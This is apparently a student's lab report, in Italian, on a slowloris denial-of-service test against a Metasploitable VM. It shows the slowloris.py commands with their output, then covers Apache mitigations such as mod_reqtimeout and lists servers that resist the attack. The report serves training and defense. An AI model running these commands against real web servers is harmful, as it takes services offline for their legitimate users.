

W14D1 extra - slowloris

metasploitable - pentesting

DoS

Danilo 'danix' Macrì - mia.mail@mio.sito

Scan started on 13/10/2025 - duration (days): 1

Contents

Sommario	1
Scope	1
Tecnologie utilizzate	1
L'attacco	2
Mitigazione	4
Caveats	5

Sommario

L'attività extra di oggi è incentrata sugli attacchi Denial of Service (DoS), testeremo il funzionamento dell'attacco slowloris contro la macchina metasploitable.

Per **Denial of Service** si intende un attacco da parte di una singola macchina che mira a saturare le risorse della macchina target per impedirne il normale funzionamento e la fruizione da parte di altri utenti.

Esiste una versione distribuita dell'attacco DoS che aumenta esponenzialmente l'efficacia dell'attacco, inviando richieste simultanee **da più macchine attaccanti** verso la stessa macchina target. Questo genere di attacchi viene definito **DDoS** cioè *Distributed Denial of Service*.

Slowloris era originariamente un software scritto da Robert Hansen detto *RSnake* che permetteva ad una singola macchina di occupare le risorse di un server con un'ampiezza di banda minima e limitati effetti collaterali a servizi e porte non coinvolte.

Scope

- Il target dei nostri test è come sempre la macchina metasploitable
 - 192.168.50.101
 - http://metasploitable

Tecnologie utilizzate

Per il nostro test di oggi utilizzeremo un'implementazione in python dell'attacco slowloris scaricabile da github:

- [slowloris](#)

L'attacco

per monitorare l'attacco utilizzeremo `watch` e `curl` da riga di comando mentre lanciamo slowloris e ne valutiamo gli effetti.

```
watch -n 5 curl -I metasploitable
```

Con questo comando effettueremo una richiesta con curl dell'header della pagina index della metasploitable ogni 5 secondi.

```
Every 5.0s: curl -I metasploitable
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
           Dload  Upload   Dload  Upload           Total   Spent    Left   Speed
0   0     0    0     0     0      0      0      0      0      0     0      0      0      0      0      0      0      0      0      0
HTTP/1.1 200 OK
Date: Fri, 17 Oct 2025 07:18:32 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Type: text/html
```

Come possiamo vedere la prima richiesta è andata a buon fine, ma le successive richieste non verranno eseguite perchè la macchina target avrà tutte le risorse impegnate da slowloris

```
(kali㉿kali)-[~/bin]
$ slowloris.py metasploitable
[17-10-2025 03:18:34] Attacking metasploitable with 150 sockets.
[17-10-2025 03:18:34] Creating sockets ...
[17-10-2025 03:18:34] Sending keep-alive headers ...
[17-10-2025 03:18:34] Socket count: 150
[17-10-2025 03:18:49] Sending keep-alive headers ...
[17-10-2025 03:18:49] Socket count: 150
[17-10-2025 03:19:05] Sending keep-alive headers ...
[17-10-2025 03:19:05] Socket count: 150
[17-10-2025 03:19:20] Sending keep-alive headers ...
[17-10-2025 03:19:20] Socket count: 150
```

come vediamo dai timestamp, dopo la prima richiesta con curl abbiamo avviato slowloris che ha rapidamente saturato le risorse della metasploitable rendendola di fatto irraggiungibile.

Testiamo inoltre la connettività con l'utility `tcping` e vediamo che nonostante l'attacco sia in corso, siamo in grado di ottenere risposta dal server.

```
(kali㉿kali)-[~/bin]
$ tcping metasploitable 80
/usr/bin/tcping: 1: bc: not found
seq 0: tcp response from 192.168.50.101 [open] 0.155 ms
seq 1: tcp response from 192.168.50.101 [open] 0.164 ms
seq 2: tcp response from 192.168.50.101 [open] 0.170 ms
seq 3: tcp response from 192.168.50.101 [open] 0.154 ms
seq 4: tcp response from 192.168.50.101 [open] 0.146 ms
seq 5: tcp response from 192.168.50.101 [open] 0.115 ms
seq 6: tcp response from 192.168.50.101 [open] 0.151 ms
seq 7: tcp response from 192.168.50.101 [open] 0.141 ms
seq 8: tcp response from 192.168.50.101 [open] 0.133 ms
seq 9: tcp response from 192.168.50.101 [open] 0.147 ms
seq 10: tcp response from 192.168.50.101 [open] 0.160 ms
```

Andiamo quindi ad aumentare il numero di sockets impiegati da slowloris e vediamo che anche tcping inizia a risentire dell'attacco

```
(kali㉿kali)-[~/bin]
$ slowloris.py -s 300 metasploitable
[17-10-2025 04:33:09] Attacking metasploitable with 300 sockets.
[17-10-2025 04:33:09] Creating sockets ...
[17-10-2025 04:33:22] Sending keep-alive headers ...
[17-10-2025 04:33:22] Socket count: 281
[17-10-2025 04:33:22] Creating 19 new sockets ...
[17-10-2025 04:33:41] Sending keep-alive headers ...
[17-10-2025 04:33:41] Socket count: 283
[17-10-2025 04:33:41] Creating 17 new sockets ...
```

Con 300 sockets impiegati tcping dà segni di difficoltà nello stabilire una connessione col server.

```
(kali㉿kali)-[~/bin]
└─$ tcping metasploitable 80
/usr/bin/tcping: 1: bc: not found
seq 0: tcp response from 192.168.50.101 [open] 0.140 ms
seq 1: tcp response from 192.168.50.101 [open] 0.165 ms
seq 4: tcp response from 192.168.50.101 [open] 0.150 ms
seq 2: no response (timeout)
seq 3: no response (timeout)
seq 5: no response (timeout)
seq 8: tcp response from 192.168.50.101 [open] 0.157 ms
seq 6: no response (timeout)
seq 7: no response (timeout)
seq 9: no response (timeout)
seq 12: tcp response from 192.168.50.101 [open] 0.104 ms
seq 13: tcp response from 192.168.50.101 [open] 0.173 ms
seq 10: no response (timeout)
seq 11: no response (timeout)
seq 14: tcp response from 192.168.50.101 [open] 0.159 ms
seq 15: tcp response from 192.168.50.101 [open] 0.173 ms
seq 16: tcp response from 192.168.50.101 [open] 0.180 ms
seq 17: tcp response from 192.168.50.101 [open] 0.136 ms
seq 18: tcp response from 192.168.50.101 [open] 0.177 ms
```

Mitigazione

Esistono diversi moduli per il webserver apache che cercano di ridurre l'impatto di attacchi come slowloris, non esistono infatti configurazioni che ne possano impedire completamente l'attacco.

Per mitigare gli effetti di slowloris si può aumentare il numero di client ammessi dal webserver, riducendo inoltre il numero di connessioni per ogni singolo indirizzo IP, o anche diminuendo il tempo che ogni client ha per completare la connessione.

A partire da Apache 2.2.15 è stato proposto il modulo *mod_reqtimeout* come soluzione supportata dagli sviluppatori.¹

¹[mod_reqtimeout](#) dalla documentazione di Apache.

Caveats

Come documentato dall'autore di questo attacco², ci sono alcuni webserver che non sono particolarmente suscettibili a slowloris, e tra questi troviamo:

- nginx
- lighttpd
- IIS (versioni 6.0 e 7.0)

Concludiamo così l'esercizio extra di oggi.

Alla prossima.



²[Articolo originale](#) pubblicato su ha.ckers.org e visibile ora archiviato su archive.org